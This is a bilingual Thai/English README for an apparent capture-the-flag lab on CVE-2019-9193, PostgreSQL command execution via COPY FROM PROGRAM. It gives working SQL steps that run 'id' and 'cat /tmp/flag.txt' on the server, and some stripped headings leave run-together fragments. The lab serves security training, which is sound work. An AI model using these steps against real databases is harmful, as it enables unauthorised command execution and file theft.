
This lab simulates CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE
Lab นี้จำลองช่องโหว่ CVE-2019-9193 ที่เกิดใน PostgreSQL เวอร์ชัน 9.3 - 11.2 ซึ่งเปิดให้ user ที่เป็น superuser หรือมี role pg_execute_server_program สามารถใช้คำสั่ง:
COPY ... FROM PROGRAM '<command>'
เพื่อรันคำสั่ง OS ได้โดยตรง ส่งผลให้เกิด Remote Command Execution (RCE) หากผู้โจมตีสามารถเข้าถึงฐานข้อมูลได้
Lab นี้ให้คุณใช้ความสามารถดังกล่าวเพื่ออ่านไฟล์:
/tmp/flag.txt
COPY FROM PROGRAM เพื่อรันคำสั่ง OS/tmp/flag.txtdocker compose build
docker compose up -d
จากนั้นเชื่อมต่อฐานข้อมูล:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
idCOPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
ตัวอย่าง output:
flag{SECRET}
postgres กับแอปจริงpg_execute_server_programThis lab simulates CVE-2019-9193, a PostgreSQL 9.3–11.2 vulnerability allowing:
COPY ... FROM PROGRAM '<command>'
to execute OS commands when run by a superuser or a role with pg_execute_server_program.
Your task is to exploit this feature to read:
/tmp/flag.txt
COPY FROM PROGRAM to:
docker compose build
docker compose up -d
Connect via:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
pg_execute_server_program unnecessarily